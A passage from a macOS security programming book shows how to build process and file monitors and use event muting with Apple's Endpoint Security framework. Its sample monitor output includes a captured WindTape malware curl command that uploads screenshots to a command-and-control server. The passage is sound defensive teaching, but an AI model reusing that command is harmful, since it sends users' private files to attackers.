es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};

Listing 8-6: Events of interest to a simple process monitor

In Listing 8-7, we create a client via the es_new_client API.

es_client_t* client = NULL;
es_new_client_result_t result =
es_new_client(&client, ^(es_client_t* client, const es_message_t* message) { 1
    // Add code here to handle delivered events.
});

if(ES_NEW_CLIENT_RESULT_SUCCESS != result) { 2
    // Add code here to handle error.
}

Listing 8-7: Creating a new Endpoint Security client

We invoke the es_new_client API to create a new client instance 1 and 
leave the handler block unimplemented for now. Assuming the call suc-
ceeds, we’ll have a newly initialized client. The code checks the result of the 
call against the ES_NEW_CLIENT_RESULT_SUCCESS constant to confirm that this 
is the case 2. Recall that if your project isn’t adequately entitled, if you’re 

https://github.com/objective-see/ProcessMonitor
https://github.com/objective-see/ProcessMonitor
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running it via the terminal without granting it full disk access, or if your 
code isn’t running with root privileges, the call to es_new_client will fail.

Subscribing to Events
With a client in hand, we can subscribe to the process execution and exit-
ing events by invoking the es_subscribe API (Listing 8-8).

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};

// Removed code that invoked es_new_client

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); 1

Listing 8-8: Subscribing to process events of interest

Note that we compute the number of events rather than hardcoding 
it 1. Once the es_subscribe function returns, the Endpoint Security sub-
system will begin asynchronously delivering events that match the types to 
which we have subscribed.

Extracting Process Objects
This brings us to the final step, which is to handle the delivered events. I 
mentioned that the handler block gets invoked with two parameters: the 
client of type es_client_t being sent the event and a pointer to the event 
message of type es_message_t. If we’re not working with authorization events, 
the client isn’t directly relevant, but we’ll make use of the message, which 
contains the information about the delivered event.

First and foremost, we’ll extract a pointer to an es_process_t structure 
containing information about either the newly spawned process or the 
process that has just exited. Choosing which process structure to extract 
requires making use of the event type. For exiting (and most other) events, 
we’ll extract the message’s process member, which contains a pointer to the 
process responsible for taking the action that triggered the event. However, 
in the case of process execution events, we’re more interested in accessing 
the process that was just spawned. Thus, we’ll use the es_event_exec_t struc-
ture, whose target member is a pointer to the relevant es_process_t structure 
(Listing 8-9).

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    es_process_t* process = NULL;
  1 u_int32_t event = message->event_type;
  2 switch(event) {
      3 case ES_EVENT_TYPE_NOTIFY_EXEC:
          process = message->event.exec.target;
          ...
          break;
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      4 case ES_EVENT_TYPE_NOTIFY_EXIT:
          process = message->process;
          ...
          break;
    }
    ...
});

Listing 8-9: Extracting the relevant process

We first extract the type of event from the message 1, then switch on 
it 2 to extract a pointer to an es_process_t structure. In the case of a pro-
cess execution event, we extract the process that was just spawned from the 
es_event_exec_t structure 3. For process exit messages, we extract the pro-
cess directly from the message 4.

Extracting Process Information
Now that we have a pointer to an es_process_t structure, we can extract 
information such as the process’s audit token, PID, path, and code signing 
information. Also, for newly spawned processes, we can extract their argu-
ments, and for exited processes, we can extract their exit code.

Audit Tokens

Let’s start simple, by extracting the process’s audit token (Listing 8-10).

NSData* auditToken = [NSData dataWithBytes:&process->audit_token length:sizeof(audit_token_t)];

Listing 8-10: Extracting an audit token

The audit token is the first field in the es_process_t structure, of type 
audit_token_t. You can use this value directly or, as done here, extract it 
into an NSData object. Recall that an audit token allows you to uniquely and 
securely identify the process, as well as extract the other process’s informa-
tion, such as its process ID. In Listing 8-11, we pass the audit token to the 
audit_token_to_pid function, which returns the PID.

pid_t pid = audit_token_to_pid(process->audit_token);

Listing 8-11: Converting an audit token to a process ID

We can also extract the process’s effective UID from the audit token by 
means of the audit_token_to_euid function.

Note that invoking these functions requires you to import the bsm/
libbsm.h header file and link against the libbsm library.

Process Paths

In Listing 8-12, we extract the process path via a pointer to a structure 
named executable found within the es_process_t structure. This points to an 
es_file_t structure whose path field contains the process’s path.
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NSString* path = [[NSString alloc] initWithBytes:process->executable->path.data 
length:process->executable->path.length encoding:NSUTF8StringEncoding];

Listing 8-12: Extracting a process’s path

Because this field is of type es_string_token_t, we convert it into a more 
manageable string object.

Hierarchies

Using the es_process_t process structure also simplifies building process 
hierarchies. We could extract the parent process’s ID from the es_process_t 
structure. However, a comment in the ESMessage.h header file instead rec-
ommends using the parent_audit_token field, available in Endpoint Security 
messages of version 4 and newer. In those versions, we’ll also find the audit 
token of the responsible process in a field aptly named responsible_audit 
_token. In Listing 8-13, after ensuring that the message versions suffice, 
we extract these.

pid_t ppid = process->ppid; 1

if(message->version >= 4) {
    NSData* parentToken = [NSData dataWithBytes:&process->parent_audit_token
    length:sizeof(audit_token_t)]; 2

     NSData* responsibleToken = [NSData dataWithBytes:&process->responsible_audit_token
    length:sizeof(audit_token_t)]; 3
}

Listing 8-13: Extracting a parent and responsible process token

We extract the parent PID 1 and, for recent versions of Endpoint 
Security, the parent audit token 2 and responsible process token 3. These 
can then be used to build a process hierarchy.

Script Paths

Recall that es_event_exec_t structures describe ES_EVENT_TYPE_NOTIFY_EXEC 
events. So far, we’ve largely focused on the first field of this structure, a 
pointer to an es_process_t structure. However, other fields of the es_event 
_exec_t structure are useful to a process monitor, especially for heuristically 
detecting malware.

For example, consider cases when the process being executed is a 
script interpreter, a program used to run a script. When a user executes a 
script, the operating system will determine the correct script interpreter 
behind the scenes and invoke it to execute the script. In this case, Endpoint 
Security will report the script interpreter as the process executed and dis-
play its path, such as /usr/bin/python3. However, we’re more interested in 



194   Chapter 8

what the interpreter is executing. If we’re able to determine the path to the 
script being indirectly executed, we can then scan it for known malware or 
use heuristics to determine if it’s likely malicious.

Luckily, messages in versions 2 and above of Endpoint Security provide 
this path in the script field of the es_event_exec_t structure. If the newly 
spawned process is not a script interpreter, this field will be NULL. Also, it 
won’t be set if the script was executed as an argument to the interpreter (for 
example, if the user ran python3 <path to some script>). In those cases, how-
ever, the script would show up as the process’s first argument.

Listing 8-14 shows how to extract the path of a script via the script field.

1 if(message->version >= 2) {
    es_string_token_t* token = &message->event.exec.script->path;
  2 if(NULL != token) {
        NSString* script = [[NSString alloc] initWithBytes:token->data
        length:token->length encoding:NSUTF8StringEncoding];
    }
}

Listing 8-14: Extracting a script path

We make sure we only attempt this extraction on compatible versions of 
Endpoint Security 1 and if the script field is not NULL 2.

If you directly execute a Python script, the process monitoring code 
within ESPlayground will report Python as the spawned process, along with 
the path to the script:

# ESPlayground.app/Contents/MacOS/ESPlayground -monitor

ES Playground
Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC
(new) process
    pid: 10267
    path: /usr/bin/python3
    script: /Users/User/Malware/Realst/installer.py"
    ...

This example captures the Realst malware, which contains a script 
named installer.py. Now we can inspect this script, which reveals malicious 
code designed to steal data and give attackers access to a user’s cryptocur-
rency wallet.

Binary Architecture

Another piece of information that Endpoint Security provides in the es_event 
_exec_t structure is the process’s architecture. In Chapter 2, I discussed how 
to determine the architecture programmatically for any running process, 
but conveniently, the Endpoint Security subsystem can do this as well.
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To access the spawned process’s binary architecture, you can extract 
the image_cputype field (and image_cpusubtype, if you’re interested in the CPU 
subtype), as shown in Listing 8-15. This information is available only in 
 versions 6 and above of Endpoint Security, so the code first checks for a 
 compatible version.

if(message->version >= 6) {
    cpu_type_t cpuType = message->event.exec.image_cputype;
}

Listing 8-15: Extracting a process’s architecture

This code should return values such as 0x100000C or 0x1000007. By con-
sulting Apple’s mach/machine.h header file, you can see that these map to 
CPU_TYPE_ARM64 (Apple Silicon) and CPU_TYPE_X86_64 (Intel), respectively.

Code Signing

In Chapter 3, you saw how to leverage the rather archaic Sec* APIs to manu-
ally extract code signing information. To simplify this extraction, Endpoint 
Security reports code signing information for the process responsible for 
the action that triggered the event in each message it delivers. Some events 
may also contain code signing information for other processes. For example, 
ES_EVENT_TYPE_NOTIFY_EXEC events contain the code signing information for 
newly spawned processes.

You can find code signing information for processes in their es_process _t 
structure in the following fields:

uint32_t codesigning_flags    Contains a process’s code signing flags

bool is_platform_binary    Identifies platform binaries

uint8_t cdhash[20]    Stores the signature’s code directory hash

es_string_token_t signing_id    Stores the signature ID

es_string_token_t team_id    Stores the team ID

Let’s look at each of these fields, starting with codesigning_flags, whose 
values can be found in Apple’s cs_blobs.h header file. Listing 8-16 extracts the 
code signing flags from the es_process_t structure and then checks them for 
several common code signing values. Because the value of the codesigning 
_flags is a bit field, the code uses the logical AND (&) operator to check for 
specific code signing values.

// Process is an es_process_t*
#import <kernel/kern/cs_blobs.h>

uint32_t csFlags = process->codesigning_flags;

if(CS_VALID & csFlags) {
    // Add code here to handle dynamically valid process signatures.
}
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if(CS_SIGNED & csFlags) {
    // Add code here to handle process signatures.
}
if(CS_ADHOC & csFlags) {
    // Add code here to handle ad hoc process signatures.
}
...

Listing 8-16: Extracting a process’s code signing flags

Accessing and then extracting code signing flags could allow you to 
do things like investigate spawned processes whose signatures are ad hoc, 
meaning they’re untrusted. The widespread 3CX supply chain attack used a 
second-stage payload that was signed with an ad hoc signature.3

Also within the es_process_t structure, you’ll find the is_platform_binary 
field, which is a Boolean flag set to true for binaries that are part of macOS 
and signed solely with Apple certificates. It’s important to note that for Apple 
applications that aren’t preinstalled in macOS, such as Xcode, this field will 
be set to false. It’s also worth noting that the CS_PLATFORM_BINARY flag doesn’t 
appear to be set in the codesigning_flags field for platform binaries, so consult 
the value of the is_platform_binary field for this information instead.

W A R N I N G  If you’ve disabled AMFI, Endpoint Security may mark all processes, including third-
party and potentially malicious ones, as platform binaries. Therefore, if you conduct 
tests on a machine with AMFI disabled, any decisions you make based on the  
is _platform_binary value will likely be incorrect.

I mentioned earlier in this chapter that you may be able to safely ignore 
platform binaries, as they’re part of the operating system. The reality isn’t 
quite this simple, however. You might want to account for living off the land 
binaries (LOLBins), which are platform binaries that attackers can abuse to 
perform malicious actions on their behalf. One example is Python, which 
can execute malicious scripts as we just saw with the Realst malware. Other 
LOLBins may be more subtle. For example, malware could use the built-in 
whois tool to surreptitiously exfiltrate network traffic in an undetected man-
ner if host-based security tools naively allow all traffic from platform binaries.4

Given a pointer to an es_process_t structure, you can easily extract the 
is_platform_binary field. In Listing 8-17, we convert it to an object so we can, 
for example, store it in a dictionary.

// Process is an es_process_t*

NSNumber* isPlatformBinary = [NSNumber numberWithBool:process->is_platform_binary];

Listing 8-17: Extracting a process’s platform binary status

Your code might not make use of the cdhash field, but Listing 8-18 shows 
how to extract and convert it into an object by making use of the CS_CDHASH_LEN 
constant found in Apple’s cs_blobs.h header file.
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// Process is an es_process_t*

NSData* cdHash = [NSData dataWithBytes:(const void *)process->cdhash
length:sizeof(uint8_t)*CS_CDHASH_LEN];

Listing 8-18: Extracting a process’s code signing hash

Next in the es_process_t structure are the signing and team identifiers, 
stored as string tokens. As was discussed in Chapter 3, these can tell you 
who signed the item and what team they’re a part of, which can reduce 
false positives or detect other related malware. As each of these values is 
an es_string_token_t, you’ll probably once again want to store them as more 
manageable objects (Listing 8-19).

// Process is an es_process_t*

NSString* signingID = [[NSString alloc] initWithBytes:process->signing_id.data
length:process->signing_id.length encoding:NSUTF8StringEncoding];

NSString* teamID = [[NSString alloc] initWithBytes:process->team_id.data
length:process->team_id.length encoding:NSUTF8StringEncoding];

Listing 8-19: Extracting a process’s signing and team IDs

With this code signing extraction code added to the process monitoring 
logic in ESPlayground, let’s execute the aforementioned second-stage payload, 
UpdateAgent, used in the 3CX supply chain attack. It’s clear that the payload is 
signed with an ad hoc certificate (CS_ADHOC), which is often a red flag:

# ESPlayground.app/Contents/MacOS/ESPlayground -monitor

ES Playground
Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC
(new) process
  pid: 10815
  path: /Users/User/Malware/3CX/UpdateAgent
  ...
  code signing flags: 0x22000007
  code signing flag 'CS_VALID' is set
  code signing flag 'CS_SIGNED' is set
  code signing flag 'CS_ADHOC' is set

With this code signing information made available by Endpoint Security, 
we’re close to wrapping up the process monitor’s logic.

Arguments

Let’s consider message-specific contents, starting with the process argu-
ments found in ES_EVENT_TYPE_NOTIFY_EXEC messages. In Chapter 1, I discussed 
the usefulness of process arguments for detecting malicious code and 
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programmatically extracted them from running processes. If you’ve sub-
scribed to Endpoint Security events of type ES_EVENT_TYPE_NOTIFY_EXEC, you’ll 
see that Endpoint Security has done most of the heavy lifting for you.

These events are es_event_exec_t structures that you can pass to two 
Endpoint Security helper APIs, es_exec_arg_count and es_exec_arg, to extract 
the arguments that triggered the Endpoint Security event (Listing 8-20).

NSMutableArray* arguments = [NSMutableArray array];

const es_event_exec_t* exec = &message->event.exec;

1 for(uint32_t i = 0; i < es_exec_arg_count(exec); i++) {
  2 es_string_token_t token = es_exec_arg(exec, i);
  3 NSString* argument = [[NSString alloc] initWithBytes:token.data
    length:token.length encoding:NSUTF8StringEncoding];

  4 [arguments addObject:argument];
}

Listing 8-20: Extracting a process’s arguments

After initializing an array to hold the arguments, the code invokes  
es_exec_arg_count to determine the number of arguments 1. We perform 
this check within the initialization of a for loop to keep track of how many 
times we invoke the es_exec_arg function. Then we invoke the function 
with the current index to retrieve the argument at that index 2. Because 
the argument is stored in an es_string_token_t structure, the code converts it 
into a string object 3 and adds it to an array 4.

When we add this code to the ESPlayground project, we’re now able to 
observe process arguments, such as when the WindTape malware executes 
curl to exfiltrate recorded screen captures to the attackers’ command-and-
control server:

# ESPlayground.app/Contents/MacOS/ESPlayground -monitor

ES Playground
Executing (process) 'monitor' logic

event: ES_EVENT_TYPE_NOTIFY_EXEC
(new) process
 pid: 18802
 path: /usr/bin/curl
 ...
 arguments : (
  "/usr/bin/curl"
  "http://string2me.com/xnrftGrNZlVYWrkrqSoGzvKgUGpN/zgrcJOQKgrpkMLZcu.php",
  "-F",
  "qwe=@/Users/User/Library/lsd.app/Contents/Resources/14-06 06:28:07.jpg",
  "-F",
  "rest=BBA441FE-7BBB-43C6-9178-851218CFD268",
  "-F",
  "fsbd=Users-Mac.local-User"
)
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You could use the similar functions es_exec_env_count and es_exec_env to 
extract a process’s environment variables from an es_event_exec_t structure.

Exit Status

When a process exits, we’ll receive a message from Endpoint Security because 
we’ve subscribed to ES_EVENT_TYPE_NOTIFY_EXIT events. Knowing when a process 
exits is useful for purposes such as the following:

Determining whether a process succeeded or failed    A process’s exit 
code provides insight into whether the process executed successfully. If 
the process is, for example, a malicious installer, this information could 
help us determine its impact.

Performing any necessary cleanup    In many cases, security tools track 
activity over the lifetime of a process. For example, a ransomware detec-
tor could monitor each new process to detect those that rapidly create 
encrypted files. When a process exits, the detector can perform any 
necessary cleanup, such as freeing the processes list of created files and 
removing the process from any caches.

The event structure type for the ES_EVENT_TYPE_NOTIFY_EXIT event is es_event 
_exit_t. By consulting the ESMessage.h header file, we can see that it contains a 
single (nonreserved) field named stat containing the exit status of a process:

typedef struct {
    int stat;
    uint8_t reserved[64];
} es_event_exit_t;

Knowing this, we extract the process’s exit code, as shown in Listing 8-21.

1 case ES_EVENT_TYPE_NOTIFY_EXIT: {
  2 int status = message->event.exit.stat;
    ...
}

Listing 8-21: Extracting an exit code

Because the process monitor logic has also registered for process execu-
tion events (ES_EVENT_TYPE_NOTIFY_EXEC), the code first makes sure we’re deal-
ing with a process exit (ES_EVENT_TYPE_NOTIFY_EXIT) 1. If so, it then extracts 
the exit code 2.

Stopping the Client
At some point, you might want to stop your Endpoint Security client. This 
is as simple as unsubscribing from events via the es_unsubscribe_all func-
tion, then deleting the client via es_delete_client. As shown in Listing 8-22, 
both functions take as arguments the client we previously created using the 
es_new_client function.
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es_client_t* client = // Previously created via es_new_client
...
es_unsubscribe_all(client);
es_delete_client(client);

Listing 8-22: Stopping an Endpoint Security client

See the ESClient.h header file for more details on the functions. For 
example, code should only call es_delete_client from the same thread that 
originally created the client.

This wraps up the discussion of creating a process monitor capable of 
tracking process executions and exits, as well as extracting information 
from each event that we could feed into a variety of heuristic-based rules. 
Of course, you could register for many other Endpoint Security events. Let’s 
now explore file events, which provide the foundation for a file monitor.

File Monitoring
File monitors are powerful tools for detecting and understanding malicious 
code. For example, infamous ransomware groups such as Lockbit have 
begun targeting macOS,5 so you might want to write software that can iden-
tify ransomware. In my 2016 research paper “Towards Generic Ransomware 
Detection,” I highlighted a simple yet effective approach to doing so.6 In 
a nutshell, if we can monitor for the rapid creation of encrypted files by 
untrusted processes, we should be able to detect and thwart ransomware. 
Although any heuristic-based approach has its limitations, my method has 
proven successful even with new ransomware specimens. It even detected 
Lockbit’s foray into the macOS space in 2023.

A core capability of this generic ransomware detection is the ability to  
monitor for the creation of files. Using Endpoint Security, it’s easy to create 
a file monitor that can detect file creation and other file I/O events.7 You 
can find source code for a fully featured file monitor in the FileMonitor 
project on Objective-See’s GitHub repository at https://github.com/objective-see/
FileMonitor.

Because I’ve already discussed how to create an Endpoint Security 
client and register for events of interest, I won’t spend time discussing these 
topics again. Instead, I’ll focus on the specifics of monitoring file events. In 
the ESTypes.h header file, we find many events covering file I/O. Some of the 
most useful notification events include:

ES_EVENT_TYPE_NOTIFY_CREATE    Delivered when a new file is created

ES_EVENT_TYPE_NOTIFY_OPEN    Delivered when a file is opened

ES_EVENT_TYPE_NOTIFY_WRITE    Delivered when a file is written to

ES_EVENT_TYPE_NOTIFY_CLOSE    Delivered when a file is closed

ES_EVENT_TYPE_NOTIFY_RENAME    Delivered when a file is renamed

ES_EVENT_TYPE_NOTIFY_UNLINK    Delivered when a file is deleted

https://github.com/objective-see/FileMonitor
https://github.com/objective-see/FileMonitor
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Let’s register for the events related to file creation, opening, closing, 
and deleting (Listing 8-23).

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_CREATE, ES_EVENT_TYPE_NOTIFY_OPEN,
ES_EVENT_TYPE_NOTIFY_CLOSE, ES_EVENT_TYPE_NOTIFY_UNLINK};

Listing 8-23: File I/O events of interest

After creating a new Endpoint Security client using es_new_client, we 
can invoke the es_subscribe function with the new list of events of interest to 
subscribe to. The subsystem should then begin delivering file I/O events to 
us, encapsulated in es_message_t structures. Recall the es_message_t structure 
contains meta information about the event, such as the event type and pro-
cess responsible for triggering it. A file monitor could use this information 
to map the delivered file event to the responsible process.

Besides reporting the event type and responsible process, a file monitor 
should also capture the filepath (which, in the case of file creation events, 
leads to the created file). The steps required to extract the path depend on 
the specific file I/O event, so we’ll look at each in detail, starting with file 
creation events.

We’ve subscribed to ES_EVENT_TYPE_NOTIFY_CREATE, so whenever a file is 
created, Endpoint Security will deliver a message to us. The event data for 
this event is stored in a structure of type es_event_create_t:

typedef struct {
  1 es_destination_type_t destination_type;
    union {
      2 es_file_t* _Nonnull existing_file;
            struct {
                es_file_t* _Nonnull dir;
                es_string_token_t filename;
                mode_t mode;
            } new_path;
        } destination;
        ...
    };
} es_event_create_t;

Though this structure appears a bit involved at first blush, handling it 
is fairly trivial in most cases. The destination_type member should be set to 
one of two enumeration values 1. Apple explains the difference between 
the two in the ESMessage.h header file:

Typically, ES_EVENT_TYPE_NOTIFY_CREATE events are fired after 
the object has been created and the destination_type will be 
ES_DESTINATION_TYPE_EXISTING_FILE. The exception to this is for 
notifications that occur if an ES client responds to an ES_EVENT 
_TYPE_AUTH_CREATE event with ES_AUTH_RESULT_DENY.

As a simple file monitor won’t register for ES_EVENT_TYPE_AUTH_* events, we 
can focus on the former case here.
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We’ll locate the path to the file that was just created in the existing_file 
member, found in the destination union of the es_event_create_t structure 
2. As existing_file is stored as an es_file_t, extracting the newly created file’s 
path is trivial, as shown in Listing 8-24.

// Event type: ES_EVENT_TYPE_NOTIFY_CREATE

if(ES_DESTINATION_TYPE_EXISTING_FILE == message->event.create.destination_type) {
    es_string_token_t* token = &message->event.create.destination.existing_file->path;

    NSString* path = [[NSString alloc] initWithBytes:token->data length:token->length encoding:
    NSUTF8StringEncoding];

    printf("Created path -> %@\n", path.UTF8String);
}

Listing 8-24: Extracting a newly created filepath

Because we’ve also registered for ES_EVENT_TYPE_NOTIFY_OPEN events, 
Endpoint Security will deliver a message containing an es_event_open_t event 
structure whenever a file is opened. This structure contains an es_file_t 
pointer to a member-named file containing the path of the opened file. We 
extract it in Listing 8-25.

if(ES_EVENT_TYPE_NOTIFY_OPEN == message->event_type) {
    es_string_token_t* token = &message->event.open.file->path;

    NSString* path = [[NSString alloc] initWithBytes:token->data length:token->length
    encoding:NSUTF8StringEncoding];

    printf("Opened file -> %s\n", path.UTF8String);
}

Listing 8-25: Extracting an opened filepath

The logic for ES_EVENT_TYPE_NOTIFY_CLOSE and ES_EVENT_TYPE_NOTIFY_UNLINK 
is similar, as both event structures contain an es_file_t* with the file’s path.

I’ll end this section by discussing a file event that has both a source and  
destination path. For example, when a file is renamed, Endpoint Security 
delivers a message of type ES_EVENT_TYPE_NOTIFY_RENAME. In that case, the 
es_event_rename_t structure contains a pointer to an es_file_t structure for 
the source file (aptly named source), as well as one for the destination file 
(named existing_file). We can access the path of the original file via 
 message->event.rename.source->path.

Obtaining the renamed file’s destination path is slightly nuanced, as we 
must first check the destination_type field of the es_event_rename_t structure. 
This field is an enumeration containing two values: ES_DESTINATION_TYPE 
_EXISTING_FILE and ES_DESTINATION_TYPE_NEW_PATH. For the existing file value, 
we can directly access the destination filepath via rename.destination.existing 
_file->path (assuming we have an es_event_rename_t structure named rename). 
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For the destination value, however, we must concatenate the destination 
directory with the destination filename; we’ll find the directory in rename 
.destination.new_path.dir->path and the filename in rename.destination.new 
_path.filename.

Conclusion
This chapter introduced Endpoint Security, the de facto standard frame-
work for writing security tools on macOS. We built foundational monitoring 
and detection tools by subscribing to notifications for process and file events. 
In the next chapter, I’ll continue discussing Endpoint Security but focus 
on more advanced topics, such as muting, as well as ES_EVENT_TYPE_AUTH_* 
events, which provide a mechanism for proactively detecting and thwarting 
malicious activity on the system. In Part III, I’ll continue this discussion by 
detailing the creation of fully featured tools built atop Endpoint Security.

Notes
 1. “Endpoint Security,” Apple Developer Documentation, https://developer 

.apple.com/documentation/endpointsecurity.

 2. You can read more about eslogger in its man pages or in “Blue Teaming 
on macOS with eslogger,” CyberReason, October 3, 2022, https://www 
.cybereason.com/blog/blue-teaming-on-macos-with-eslogger.

 3. You can read about this malware in Patrick Wardle, “Ironing Out (the 
macOS) Details of a Smooth Operator (Part II),” Objective-See, April 1, 
2023, https://objective-see.org/blog/blog_0x74.html.

 4. For more information on macOS LOLBins, see the Living Off the 
Orchard: macOS Binaries (LOOBins) repository on GitHub: https://
github.com/infosecB/LOOBins.

 5. Patrick Wardle, “The LockBit Ransomware (Kinda) Comes for macOS,” 
Objective-See, April 16, 2023, https://objective-see.org/blog/blog_0x75.html.

 6. Patrick Wardle, “Towards Generic Ransomware Detection,” Objective 
-See, April 20, 2016, https://objective-see.org/blog/blog_0x0F.html.

 7. To read more about creating a full file monitor, see Patrick Wardle, 
“Writing a File Monitor with Apple’s Endpoint Security Framework,” 
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In the previous chapter, I introduced Apple’s 
Endpoint Security and its notification events. 

In this chapter, I move into more advanced 
topics, such as muting, mute inversion, and 

authorization events.
Muting instructs Endpoint Security to withhold the delivery of certain 

events, such as those generated from chatty system processes. Conversely, 
mute inversion gives us the ability to create focused tools that, for example, 
subscribe solely to events from a specific process or only those related to the 
access of a few directories. Lastly, Endpoint Security’s authorization capa-
bilities offer a mechanism to prevent undesirable actions altogether.

You’ll find the majority of the code snippets presented in this chapter 
in the ESPlayground project introduced in Chapter 8. For each topic covered 
here, I’ll point to the part of this project where the relevant code resides, as 
well as how to execute it via command line arguments.

9
M U T I N G  A N D 

A U T H O R I Z A T I O N  E V E N T S
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Muting
All event monitoring implementations risk facing an overwhelming deluge 
of events. For example, file I/O events occur constantly as part of normal 
system activity, and file monitors may generate so much data that finding 
events tied to malicious processes becomes quite difficult. One solution is to 
mute irrelevant processes or paths. For example, you’ll likely want to ignore 
file I/O events involving the temporary directory or originating from cer-
tain chatty, legitimate operating system processes (such as the Spotlight 
indexing service), as these events occur almost constantly and are rarely 
useful for malware detection.

Luckily for us, Endpoint Security provides a flexible and robust muting  
mechanism. Its es_mute_path function will suppress events either from a 
specified process or that match a specified path. The function takes three 
parameters—a client; a path to a process, directory, or file; and a type:

es_mute_path(es_client_t* _Nonnull client, const char* _Nonnull path,
es_mute_path_type_t type);

The mute path type can be one of the four values found in the enumer-
ation of type es_mute_path_type_t in ESTypes.h:

typedef enum {
    ES_MUTE_PATH_TYPE_PREFIX,
    ES_MUTE_PATH_TYPE_LITERAL,
    ES_MUTE_PATH_TYPE_TARGET_PREFIX,
    ES_MUTE_PATH_TYPE_TARGET_LITERAL
} es_mute_path_type_t;

The types ending in PREFIX tell Endpoint Security that the path provided 
to es_mute_path is a prefix to a longer path. For example, you could use the 
ES_MUTE_PATH_TYPE_TARGET_PREFIX option to mute all file I/O events originating 
from a certain directory. On the other hand, if the mute path type ends in 
LITERAL, the path has to match exactly for events to be muted.

Use the initial two values of the enumeration, ES_MUTE_PATH_TYPE_PREFIX 
and ES_MUTE_PATH_TYPE_LITERAL, when you want to mute the path of the pro-
cess responsible for triggering the Endpoint Security event. For example, 
Listing 9-1 shows a snippet from the mute function (in the ESPlayground 
project’s mute.m file) that instructs Endpoint Security to mute all events 
originating from mds_stores, a very noisy Spotlight daemon responsible for 
managing macOS’s metadata indexes.

1 #define MDS_STORE ″/System/Library/Frameworks/CoreServices.framework/Versions/
A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores″

2 es_mute_path(client, MDS_STORE, ES_MUTE_PATH_TYPE_LITERAL);

Listing 9-1: Muting events from the Spotlight service
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After defining the path to the mds_store binary 1, we invoke the 
es_mute_path API 2, passing it an endpoint client (created previously via a 
call to es_new_client), the path to the mds_stores binary, and the ES_MUTE_PATH 
_TYPE_LITERAL enumeration value.

If you instead (or also) want to mute the targets of the events (for 
example, in a file monitor, the paths to files being created or deleted), use 
either ES_MUTE _PATH_TYPE_TARGET_PREFIX or ES_MUTE_PATH_TYPE_TARGET_LITERAL. 
For instance, if we wanted a file monitor to mute all file events involving 
the temporary directory associated with the user context under which the 
monitor process is running, we’d use the code in Listing 9-2.

1 char tmpDirectory[PATH_MAX] = {0};
realpath([NSTemporaryDirectory() UTF8String], tmpDirectory);

2 es_mute_path(client, tmpDirectory, ES_MUTE_PATH_TYPE_TARGET_PREFIX);

Listing 9-2: Muting all events in the current user’s temporary directory

We retrieve the temporary directory with the NSTemporaryDirectory func-
tion and then resolve any symbolic links in this path (for example, resolving 
/var to /private/var) with the realpath function 1. Next, we mute all file I/O 
events whose target paths fall within this directory 2.

Let’s compile and run the ESPlayground project from the terminal with 
root privileges. When we launch the Calculator app via Spotlight, it should 
print out various Endpoint Security events, such as file open and close events:

# ESPlayground.app/Contents/MacOS/ESPlayground -mute

ES Playground
Executing 'mute' logic

muted process: /System/Library/Frameworks/
CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores

muted directory: /private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T

event: ES_EVENT_TYPE_NOTIFY_OPEN
process: /System/Library/CoreServices/Spotlight.app/Contents/MacOS/Spotlight
file path: /System/Applications/Calculator.app/Contents/MacOS/Calculator

event: ES_EVENT_TYPE_NOTIFY_CLOSE
process: /System/Library/CoreServices/Spotlight.app/Contents/MacOS/Spotlight
file path: /System/Applications/Calculator.app/Contents/MacOS/Calculator

event: ES_EVENT_TYPE_NOTIFY_OPEN
process: /System/Applications/Calculator.app/Contents/MacOS/Calculator
file path: /

But because we specified the -mute flag, we won’t receive any events 
originating from the mds_stores daemon or from within the root user’s 
temporary directory. We can confirm this fact by simultaneously running 
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a file monitor that implements no muting. Notice that this time, we receive 
such events:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty
{
  "event" : "ES_EVENT_TYPE_NOTIFY_OPEN",
  "file" : {
    "destination" : "/private/var/folders/zz/zyxvpxvq6csfxvn_n0000000000000/T",
    "process" : {
      "pid" : 540,
      "name" : "mds_stores",
      "path" : "/System/Library/Frameworks/CoreServices.framework/
      Versions/A/Frameworks/Metadata.framework/Versions/A/Support/mds_stores"
    }
  }
  ...
}

Endpoint Security has several other muting-related APIs worth men-
tioning. The es_mute_process function provides another way to mute events 
from a specific process:

es_return_t
es_mute_process(es_client_t* _Nonnull client, const audit_token_t* _Nonnull audit_token);

As the definition shows, the function expects a client and an audit 
token of the process to mute. Because it takes an audit token instead of a 
path (as with the es_mute_path function), you can mute a specific instance of 
a running process. For example, you most likely want to mute events that 
originate from your own Endpoint Security tool. Using the getAuditToken 
function covered in Chapter 1, Listing 9-3 performs such a muting.

NSData* auditToken = getAuditToken(getpid());

es_mute_process(client, auditToken.bytes);

Listing 9-3: An ES client muting itself

Besides muting a process entirely, you can also mute just a subset of its 
events via the es_mute_process_events API:

es_return_t es_mute_process_events(es_client_t* _Nonnull client, const audit_token_t*
_Nonnull audit_token, const es_event_type_t* _Nonnull events, size_t event_count);

After passing a client and an audit token of the process whose events 
you intend to mute, you should pass an array of events containing the 
events to mute, as well as the size of the array.

For each muting API, you’ll find a corresponding unmuting function, 
such as es_unmute_path and es_unmute_process. Moreover, Endpoint Security 
provides several global unmuting functions. For example, es_unmute_all_paths 
unmutes all muted paths. You can find more details about these functions in 
Apple’s Endpoint Security developer documentation.1
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Mute Inversion
Mute inversion, a capability added to Endpoint Security in macOS 13, inverts 
the logic for for muting, both for processes triggering the events and the 
events themselves. This allows you, for example, to subscribe to events for 
a very specific set of processes, directories, or files. You’ll find it useful for 
tasks such as the following:

•	 Detecting unauthorized access to user directories, perhaps by ransom-
ware attempting to encrypt user files or stealers attempting to access 
authentication tokens or cookies2

•	 Implementing tamper-resistant mechanisms to protect your security tool3

•	 Capturing events triggered by the actions of a malware specimen dur-
ing analysis or profiling

For example, consider MacStealer, a malware specimen that goes after 
user cookies.4 If we decompile its compiled Python code, we can see that it 
